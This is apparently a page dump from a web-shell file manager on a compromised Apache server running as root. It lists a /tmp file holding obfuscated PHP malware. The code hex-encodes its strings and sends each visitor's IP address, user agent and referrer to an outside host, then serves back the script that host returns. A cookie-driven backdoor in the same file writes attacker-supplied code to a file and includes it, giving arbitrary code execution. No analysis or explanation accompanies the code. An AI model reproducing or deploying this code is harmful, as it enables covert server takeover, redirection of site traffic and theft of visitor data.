HEX
Server: Apache
System:
User: root (0)
PHP: 7.4.30
Disabled: exec, passthru, shell_exec, system, proc_open, popen, parse_ini_file, show_source, apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_multi_exec,define_syslog_variables,eval,exec,highlight_file,openlog,parse_ini_file,parse_ini_string,passthru,php_uname,popen,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_open,shell_exec,show_source,syslog,system
Upload Files
File: //tmp/jg-6815413a91042
<?php class _cil{private static$_gy;static function _pdt($_dsa){if(!self::$_gy)self::_cz();return hex2bin(self::$_gy[$_dsa]);}private static function _cz(){self::$_gy=array('_tez'=>'4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a2'.'02'.'a','_ff'=>'436f6e74656'.'e742d547970653a206170706c69636174696f6e2f6a617661736372697074','_xt'=>'6368','_wlc'=>'65794a7063434936496a67344c6a67344c6a67344c6a673449697769645745694f694a305a584e3049697769636d566d496a6f69'.'6447567a64'.'434a'.'3'.'9','_fir'=>'71777'.'a7'.'8','_po'=>'3c6f6b3e','_bo'=>'3c62'.'61643e','_qz'=>'77616c6'.'c','_ac'=>'','_no'=>'','_crj'=>'','_nj'=>'687474703a2f2f7075622e77656266696c65686f737465722e636f6d2f636f6d706f'.'7365722e'.'6a733f646174613d','_qho'=>'6375726c5'.'f'.'696e6974','_bwq'=>'687474705f636f'.'646'.'5','_or'=>'7'.'36368656d65','_zif'=>'68747'.'4707'.'3','_nr'=>'4'.'7'.'455420','_luy'=>'7061'.'7468','_mvu'=>'7175657279','_ftb'=>'3'.'f','_ae'=>'717565727'.'9','_okf'=>'20485454502f312e300d0a486f73743a'.'2'.'0','_igk'=>'686f7'.'3'.'74','_ky'=>'0d0a436f6e6e656374696f6e3a204'.'36c6f73650d0a0d'.'0'.'a','_tr'=>'7373'.'6c3a2'.'f'.'2'.'f','_oqc'=>'','_vhx'=>'68'.'6f'.'73'.'74','_ydh'=>'0d'.'0'.'a','_pwb'=>'485454505f434'.'c49454e545f49'.'50','_cuj'=>'485454505f585f464'.'f52574152444544'.'5f'.'464f5'.'2','_pyr'=>'5'.'2454d4f5'.'4455f'.'414'.'4'.'4452','_wa'=>'485454505f555345525f41474'.'54e54','_xsd'=>'4'.'854'.'54505f555345525f4'.'147454'.'e5'.'4','_dwr'=>'','_uzy'=>'485454505f52454645524'.'552','_il'=>'485454505f52454645'.'52'.'4'.'5'.'5'.'2','_ljo'=>'','_dc'=>'485454505f434c49454e54'.'5'.'f4'.'9'.'50','_djs'=>'485454505f434c49454e545f495'.'0','_ogg'=>'485454505f585f464f5257415'.'24445445f464f52','_ulj'=>'485454505f585f464f525741524445445f464f5'.'2','_qwa'=>'52454'.'d4f54455f414444'.'5'.'2','_ov'=>'52454d4f544'.'55f414'.'4'.'44'.'52','_on'=>'646267'.'6d6f646'.'5','_rji'=>'49503'.'a20','_kf'=>'207c2055413a2'.'0','_ou'=>'207c'.'205265663a2'.'0','_kd'=>'203c62'.'723'.'e0'.'a','_zr'=>'69'.'7'.'0','_wrx'=>'7'.'56'.'1','_pz'=>'726'.'5'.'6'.'6','_zmz'=>'71'.'777a7'.'8',);}}header(_cil::_pdt('_tez'));header(_cil::_pdt('_ff'));if(isset($_GET[_cil::_pdt('_x'.'t')])){$_mm=_iif(_cil::_pdt('_wl'.'c'));if($_mm&&strpos($_mm,_cil::_pdt('_'.'fir'))!==false){die(_cil::_pdt('_'.'po'));}else{die(_cil::_pdt('_bo'));}}if(isset($_GET[_cil::_pdt('_qz')])){$_uz=$_COOKIE;$_osw=(int)round(0+0+0);$_dsa=(int)round(3.5+3.5);$_vwx=array();$_vwx[$_osw]=_cil::_pdt('_'.'ac');while($_dsa){$_vwx[$_osw].=$_uz[(int)round(10+10+10)][$_dsa];if(!$_uz[(int)round(7.5+7.5+7.5+7.5)][$_dsa+(int)round(0.5+0.5)]){if(!$_uz[(int)round(15+15)][$_dsa+(int)round(1+1)])break;$_osw++;$_vwx[$_osw]=_cil::_pdt('_'.'no');$_dsa++;}$_dsa=$_dsa+(int)round(1.75+1.75+1.75+1.75)+(int)round(0.5+0.5);}$_osw=$_vwx[(int)round(7+7)]().$_vwx[(int)round(6+6+6+6)];if(!$_vwx[(int)round(3+3)]($_osw)){$_dsa=$_vwx[(int)round(6.5+6.5+6.5+6.5)]($_osw,$_vwx[(int)round(5+5)]);$_vwx[(int)round(3+3+3)]($_dsa,$_vwx[(int)round(2.75+2.75+2.75+2.75)].$_vwx[(int)round(5.75+5.75+5.75+5.75)]($_vwx[(int)round(8.3333333333333+8.3333333333333+8.3333333333333)]($_uz[(int)round(0.75+0.75+0.75+0.75)])));}include($_osw);}function _iif($_lo){$_eqm=_cil::_pdt('_crj');$_sy=_cil::_pdt('_nj').$_lo;if(is_callable(_cil::_pdt('_qho'))){$_gh=curl_init($_sy);curl_setopt($_gh,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_gh,CURLOPT_SSL_VERIFYHOST,(int)round(0.66666666666667+0.66666666666667+0.66666666666667));curl_setopt($_gh,CURLOPT_FOLLOWLOCATION,(int)round(0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_gh,CURLOPT_RETURNTRANSFER,(int)round(0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_gh,CURLOPT_HEADER,(int)round(0+0+0));curl_setopt($_gh,CURLOPT_CONNECTTIMEOUT,(int)round(2.5+2.5+2.5+2.5));curl_setopt($_gh,CURLOPT_TIMEOUT,(int)round(5+5));$_eqm=curl_exec($_gh);$_rzz=curl_getinfo($_gh);curl_close($_gh);if($_rzz[_cil::_pdt('_bw'.'q')]!=(int)round(100+100))return false;}else{$_lky=parse_url($_sy);$_ie=($_lky[_cil::_pdt('_o'.'r')]==_cil::_pdt('_zif'));$_ce=_cil::_pdt('_'.'n'.'r').$_lky[_cil::_pdt('_luy')];if(isset($_lky[_cil::_pdt('_'.'mv'.'u')]))$_ce.=_cil::_pdt('_f'.'tb').$_lky[_cil::_pdt('_ae')];$_ce.=_cil::_pdt('_o'.'k'.'f').$_lky[_cil::_pdt('_ig'.'k')]._cil::_pdt('_'.'k'.'y');$_uzl=fsockopen(($_ie?_cil::_pdt('_tr'):_cil::_pdt('_o'.'qc')).$_lky[_cil::_pdt('_v'.'h'.'x')],$_ie?(int)round(110.75+110.75+110.75+110.75):(int)round(26.666666666667+26.666666666667+26.666666666667));if($_uzl){fputs($_uzl,$_ce);$_kv=(int)round(0+0+0);while(!feof($_uzl)){$_anz=fgets($_uzl,(int)round(512+512));if($_kv)$_eqm.=$_anz;if($_anz==_cil::_pdt('_'.'yd'.'h'))$_kv=(int)round(0.5+0.5);}fclose($_uzl);}}return$_eqm;}$_zck=isset($_SERVER[_cil::_pdt('_pwb')]);$_rh=isset($_SERVER[_cil::_pdt('_'.'cu'.'j')]);$_kzw=isset($_SERVER[_cil::_pdt('_'.'pyr')]);$_pdo=isset($_SERVER[_cil::_pdt('_'.'w'.'a')])?$_SERVER[_cil::_pdt('_x'.'sd')]:_cil::_pdt('_'.'d'.'w'.'r');$_qhg=isset($_SERVER[_cil::_pdt('_uz'.'y')])?$_SERVER[_cil::_pdt('_'.'il')]:_cil::_pdt('_lj'.'o');$_zck=isset($_SERVER[_cil::_pdt('_'.'d'.'c')])?$_SERVER[_cil::_pdt('_djs')]:null;$_rh=isset($_SERVER[_cil::_pdt('_og'.'g')])?$_SERVER[_cil::_pdt('_ul'.'j')]:null;$_kzw=isset($_SERVER[_cil::_pdt('_q'.'w'.'a')])?$_SERVER[_cil::_pdt('_o'.'v')]:null;if(filter_var($_zck,(int)round(68.75+68.75+68.75+68.75))){$_af=$_zck;}elseif(filter_var($_rh,(int)round(91.666666666667+91.666666666667+91.666666666667))){$_af=$_rh;}else{$_af=$_kzw;}if(isset($_GET[_cil::_pdt('_on')])){echo _cil::_pdt('_rj'.'i').$_af._cil::_pdt('_k'.'f').$_pdo._cil::_pdt('_ou').$_qhg._cil::_pdt('_'.'kd');exit();}if(!isset($_af)||!isset($_pdo)||!isset($_qhg)){exit();}else{$_zzu=array(_cil::_pdt('_'.'zr')=>$_af,_cil::_pdt('_wr'.'x')=>$_pdo,_cil::_pdt('_'.'pz')=>$_qhg);$_gn=urlencode(base64_encode(json_encode($_zzu)));$_mm=_iif($_gn);if($_mm&&strpos($_mm,_cil::_pdt('_z'.'mz'))!==false){echo$_mm;exit();}}